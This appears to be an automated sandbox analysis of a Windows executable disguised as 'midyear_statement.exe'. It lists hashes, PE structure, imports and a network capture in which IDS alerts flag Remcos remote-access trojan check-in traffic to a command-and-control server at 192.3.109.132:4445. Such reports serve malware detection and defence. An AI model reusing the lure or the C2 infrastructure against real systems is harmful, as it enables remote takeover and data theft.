Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........X......... ....."....................<a.............................0......%......... ..............................................................`..(...............\........................... ...(........................................................... .......".................. .P`........P....@.......(..............@.P..............P.......*..............@.P@........(....`.......0..............@.0@.............p.......4..............@.0@......................................p......................6..............@.0@.....................8..............@.0..CRT....X............@..............@.@.........h............B..............@.`.........\............D..............@.0B/4...................F..............@.PB/19..................J..............@..B/31.....%...........................@..B/45.....q...........................@..B/57.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.0065077195606165
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	midyear_statement.exe
File size:	1'265'664 bytes
MD5:	dd8e3f6ac5c24960b3a69490082c60e1
SHA1:	c5f8aaec5baa571791789dd5fac53e27938dbc29
SHA256:	15db18392d7bbf15b30e528db05ec306e00ac3227277d0639064ec3e2bc98c73
SHA512:	ac96e6fb368f5e2c8b8a80eb32635357f1931838b8575125956fe2e3c2465b7bd228606635f3563bb0a047b3bc8fbd19d25e0609210c4574c05993ec078ad205
SSDEEP:	12288:evGkW/sci4Vup7XNihvMHH59TpfLFhLme7iEEEblTHQE1ZEQrfvAcEH+DwxTe8g:e+Rg+up7XNiyHZ994eHQEQahz
TLSH:	2E45AE6EE2ACC4B2D32305F9FA7EE2A454177F9D35D5A87628E05B4C8F24E442B18D43
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	4545454582800145

Static PE Info

General

Entrypoint:	0x46174c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	95e6ff319c3c0cad8b9eba5a52b7f0bf

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0045FE9Ch
call 00007F8655B54D55h
mov eax, dword ptr [005003F0h]
mov eax, dword ptr [eax]
call 00007F8655BA6389h
mov ecx, dword ptr [005004E4h]
mov eax, dword ptr [005003F0h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0045F200h]
call 00007F8655BA6389h
mov eax, dword ptr [005003F0h]
mov eax, dword ptr [eax]
call 00007F8655BA63FDh
call 00007F8655B52C9Ch
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x105000	0x254e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x111000	0x2d600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10a000	0x6da4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x109000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1056f8	0x5cc	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5f0bc	0x5f200	1ecf1d7143e499155380c4995f50b189	False	0.5161331718134035	data	6.510122862830429	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x61000	0x794	0x800	e803240c858df3c127eb1809388764fc	False	0.60107421875	data	5.9952669540002335	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x62000	0x9e57c	0x9e600	4547ef6539e858cc93387f00c5dd2371	False	0.6012449437647988	data	7.201954364591318	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x101000	0x3670	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x105000	0x254e	0x2600	f1ed380672936dc448e119c5c1d18db7	False	0.31743421052631576	data	4.935734860474981	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x108000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x109000	0x18	0x200	52e2cf246b2f6aee6ec066aa9d0e6490	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10a000	0x6da4	0x6e00	f6a690fb0d6dce92cce81351a71705ef	False	0.6305752840909091	data	6.686248646056259	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x111000	0x2d600	0x2d600	606177ff6643c04b3c3ff06504b3b48b	False	0.08350550964187328	data	3.2906157676378043	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x111b78	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x111cac	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x111de0	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x111f14	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x112048	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x11217c	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x1122b0	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x1123e4	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x1125b4	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x112798	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x112968	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x112b38	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x112d08	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x112ed8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x1130a8	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x113278	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x113448	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x113618	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x113700	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m			0.12922138836772984
RT_ICON	0x1147a8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m			0.09056016597510373
RT_ICON	0x116d50	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 3779 x 3779 px/m			0.05886868209730751
RT_ICON	0x11af78	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 25600, resolution 3779 x 3779 px/m			0.05605263157894737
RT_ICON	0x121760	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m			0.045590708429682575
RT_ICON	0x12ac08	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 3779 x 3779 px/m			0.036983911037501475
RT_DIALOG	0x13b430	0x52	data			0.7682926829268293
RT_DIALOG	0x13b484	0x52	data			0.7560975609756098
RT_STRING	0x13b4d8	0x110	data			0.5845588235294118
RT_STRING	0x13b5e8	0x224	data			0.5145985401459854
RT_STRING	0x13b80c	0xc8	data			0.665
RT_STRING	0x13b8d4	0xe8	data			0.6637931034482759
RT_STRING	0x13b9bc	0x3cc	data			0.4125514403292181
RT_STRING	0x13bd88	0x3a8	data			0.36538461538461536
RT_STRING	0x13c130	0x394	data			0.3941048034934498
RT_STRING	0x13c4c4	0x3f8	data			0.37598425196850394
RT_STRING	0x13c8bc	0xf4	data			0.5532786885245902
RT_STRING	0x13c9b0	0xc4	data			0.6275510204081632
RT_STRING	0x13ca74	0x22c	data			0.5017985611510791
RT_STRING	0x13cca0	0x3b4	data			0.3227848101265823
RT_STRING	0x13d054	0x368	data			0.37844036697247707
RT_STRING	0x13d3bc	0x2b8	data			0.3879310344827586
RT_RCDATA	0x13d674	0x10	data			1.5
RT_RCDATA	0x13d684	0x2a4	data			0.7381656804733728
RT_RCDATA	0x13d928	0xb66	Delphi compiled form 'TForm1'			0.3971898560657985
RT_GROUP_CURSOR	0x13e490	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x13e4a4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x13e4b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13e4cc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13e4e0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13e4f4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x13e508	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x13e51c	0x5a	data			0.8111111111111111

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WritePrivateProfileStringA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetPrivateProfileStringA, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCurrentProcess, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
uRL	URLAssociationDialogA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/28/24-13:59:15.069542	TCP	2032776	ET TROJAN Remcos 3.x Unencrypted Checkin	49708	4445	192.168.2.7	192.3.109.132
03/28/24-14:01:41.205303	TCP	2032777	ET TROJAN Remcos 3.x Unencrypted Server Response	4445	49708	192.3.109.132	192.168.2.7

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 28, 2024 13:58:58.568214893 CET	49699	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.568255901 CET	443	49699	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:58.568331957 CET	49699	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.569809914 CET	49699	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.569854021 CET	443	49699	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:58.569900036 CET	49699	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.648184061 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.648232937 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:58.648298979 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.651829004 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.651844978 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:58.985279083 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:58.985358000 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.987925053 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:58.987937927 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:58.988179922 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:59.037343025 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:59.052023888 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:59.096240997 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:59.335716963 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:59.335866928 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:58:59.335962057 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:59.338146925 CET	49700	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:58:59.338167906 CET	443	49700	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:00.685031891 CET	49702	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.685086966 CET	443	49702	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:00.685189962 CET	49702	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.685513973 CET	49702	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.685570955 CET	443	49702	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:00.685628891 CET	49702	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.736732960 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.736782074 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:00.736864090 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.737158060 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:00.737173080 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.044385910 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.044492960 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:01.119966984 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:01.119990110 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.120362043 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.121575117 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:01.168235064 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.547041893 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.547131062 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.547250032 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:01.547375917 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:01.547375917 CET	49703	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:01.547399998 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:01.547440052 CET	443	49703	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:02.819756985 CET	49705	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.819783926 CET	443	49705	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:02.819860935 CET	49705	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.819921017 CET	49705	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.819991112 CET	443	49705	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:02.820043087 CET	49705	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.853024006 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.853066921 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:02.853147030 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.853504896 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:02.853532076 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.161462069 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.161571026 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:03.162857056 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:03.162867069 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.163124084 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.164283991 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:03.212233067 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.431737900 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.431823015 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.431879997 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:03.432012081 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:03.432029009 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:03.432037115 CET	49706	443	192.168.2.7	13.107.139.11
Mar 28, 2024 13:59:03.432041883 CET	443	49706	13.107.139.11	192.168.2.7
Mar 28, 2024 13:59:14.904962063 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.068303108 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:15.068404913 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.069541931 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.269639015 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:15.628453970 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:15.631772995 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.791851044 CET	4445	49708	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:15.809119940 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.869476080 CET	49708	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.969082117 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:15.969269991 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:15.969315052 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.133673906 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133702993 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133719921 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133737087 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133752108 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133796930 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133811951 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.133814096 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133827925 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133841991 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133857012 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.133865118 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.133865118 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.133935928 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.255438089 CET	49712	80	192.168.2.7	178.237.33.50
Mar 28, 2024 13:59:16.294548035 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294672012 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294688940 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294708014 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294727087 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.294758081 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.294780970 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294850111 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294889927 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294948101 CET	4445	49711	192.3.109.132	192.168.2.7
Mar 28, 2024 13:59:16.294950008 CET	49711	4445	192.168.2.7	192.3.109.132
Mar 28, 2024 13:59:16.295018911 CET	4445	49711	192.3.109.132	192.168.2.7
